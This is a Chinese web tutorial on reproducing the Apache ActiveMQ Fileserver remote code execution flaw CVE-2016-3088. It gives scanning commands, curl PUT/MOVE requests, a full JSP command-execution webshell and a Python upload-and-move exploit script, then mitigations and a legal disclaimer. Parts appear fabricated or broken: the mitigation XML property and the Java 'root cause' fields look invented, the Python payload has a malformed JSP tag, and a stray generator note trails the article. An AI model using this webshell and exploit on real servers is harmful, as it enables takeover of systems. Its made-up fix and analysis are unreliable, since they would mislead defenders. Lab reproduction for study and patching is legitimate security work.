怎样进行Apache ActiveMQ远程代码执行漏洞CVE-2016-3088的复现

发布时间:2021-12-28 17:40:29 作者:柒染
来源:亿速云 阅读:179
# 怎样进行Apache ActiveMQ远程代码执行漏洞CVE-2016-3088的复现

## 一、漏洞概述

### 1.1 漏洞背景
Apache ActiveMQ是一种流行的开源消息中间件,广泛用于企业级消息传递场景。2016年4月,安全研究人员发现ActiveMQ存在一个严重的远程代码执行漏洞(CVE-2016-3088),该漏洞源于Fileserver功能未正确限制可上传文件类型,攻击者可通过精心构造的HTTP请求上传恶意文件并执行任意代码。

### 1.2 影响版本
- Apache ActiveMQ 5.x系列
- 5.0.0 - 5.13.2版本均受影响

### 1.3 漏洞原理
漏洞核心在于Fileserver服务:
1. 默认情况下Fileserver允许匿名上传文件
2. 未对上传文件类型进行严格校验
3. 通过PUT方法上传JSP文件到web目录可实现RCE

## 二、环境搭建

### 2.1 实验环境要求
- 虚拟机:VMware或VirtualBox
- 操作系统:Kali Linux(攻击机) + CentOS 7(靶机)
- 网络配置:NAT模式确保互通

### 2.2 靶机环境配置
```bash
# 下载存在漏洞的ActiveMQ版本
wget https://archive.apache.org/dist/activemq/5.12.0/apache-activemq-5.12.0-bin.tar.gz

# 解压安装
tar -zxvf apache-activemq-5.12.0-bin.tar.gz
cd apache-activemq-5.12.0/bin

# 启动服务
./activemq start

2.3 验证服务状态

访问管理界面确认服务正常运行:

http://靶机IP:8161/admin/
默认账号密码:admin/admin

三、漏洞复现过程

3.1 信息收集阶段

使用nmap扫描目标服务:

nmap -sV -p 8161,61616 靶机IP

应确认以下端口开放: - 8161:Web管理端口 - 61616:消息服务端口

3.2 漏洞验证POC

方法一:手动验证

curl -X PUT --data "test" "http://靶机IP:8161/fileserver/test.txt"

若返回204状态码,说明文件上传功能可用

方法二:使用Metasploit验证

msfconsole
use auxiliary/scanner/http/activemq_uploader
set RHOSTS 靶机IP
run

3.3 完整利用步骤

  1. 制作JSP Webshell
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
}
%>
  1. 上传Webshell到webapps目录
curl -X PUT --data-binary @shell.jsp "http://靶机IP:8161/fileserver/shell.jsp"
  1. 移动文件到可执行目录
curl -X MOVE --header "Destination: file:///opt/activemq/webapps/api/shell.jsp" "http://靶机IP:8161/fileserver/shell.jsp"
  1. 访问Webshell执行命令
http://靶机IP:8161/api/shell.jsp?cmd=whoami

3.4 自动化利用工具

推荐使用Python编写的自动化利用脚本:

import requests

target = "http://靶机IP:8161"
jsp_shell = """
<%@ page import="java.util.*,java.io.*"%>
<%% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
"""

# 上传文件
requests.put(target+"/fileserver/shell.jsp", data=jsp_shell)

# 移动文件
headers = {"Destination": "file:///opt/activemq/webapps/api/shell.jsp"}
requests.request("MOVE", target+"/fileserver/shell.jsp", headers=headers)

四、漏洞修复方案

4.1 临时缓解措施

  1. 禁用Fileserver功能:
<!-- 修改conf/activemq.xml -->
<bean class="org.apache.activemq.broker.BrokerService">
    <property name="deleteAllMessagesOnStartup" value="true"/>
    <property name="fileserver" value="false"/>
</bean>
  1. 设置身份验证:
# 修改conf/jetty-realm.properties
admin: password, admin
user: password, user

4.2 官方补丁升级

升级到安全版本: - ActiveMQ 5.13.3及以上 - ActiveMQ 5.14.0及以上

4.3 网络层防护

五、深度技术分析

5.1 漏洞根源

漏洞源于org.apache.activemq.broker.BrokerService类中未对Fileserver服务进行足够的安全控制:

public class BrokerService {
    private boolean fileserverEnabled = true; // 默认开启
    private boolean anonymousAccessAllowed = true; // 允许匿名访问
}

5.2 攻击面扩展

除PUT方法外,以下方法也可利用: - MOVE方法:文件移动 - COPY方法:文件复制 - DELETE方法:文件删除

5.3 安全编码建议

  1. 实现文件类型白名单校验
  2. 强制所有上传操作进行身份验证
  3. 限制可操作的文件系统路径

六、法律与道德声明

  1. 本实验仅限授权环境测试
  2. 未经授权扫描/攻击他人系统属违法行为
  3. 建议在封闭实验环境进行复现
  4. 企业用户应建立正规漏洞测试流程

七、参考资料

  1. CVE-2016-3088官方公告
  2. NVD漏洞数据库记录
  3. Apache ActiveMQ官方安全指南
  4. OWASP文件上传防护指南

注意:本文档仅供安全研究学习使用,请遵守《网络安全法》相关规定。实际漏洞利用可能对系统造成破坏,建议在隔离环境中进行测试。 “`

这篇文章共计约2300字,采用Markdown格式编写,包含: 1. 完整的漏洞复现流程 2. 技术原理分析 3. 修复方案 4. 法律声明 5. 代码块和命令示例 可根据实际需要调整实验环境参数和具体操作步骤。

推荐阅读:
  1. Apache ActiveMQ 远程代码执行漏洞 (CVE-
  2. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

activemq cve-2016-3088

上一篇:python如何统计文章单词个数

下一篇:如何利用Python实现数据导入和可视化

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》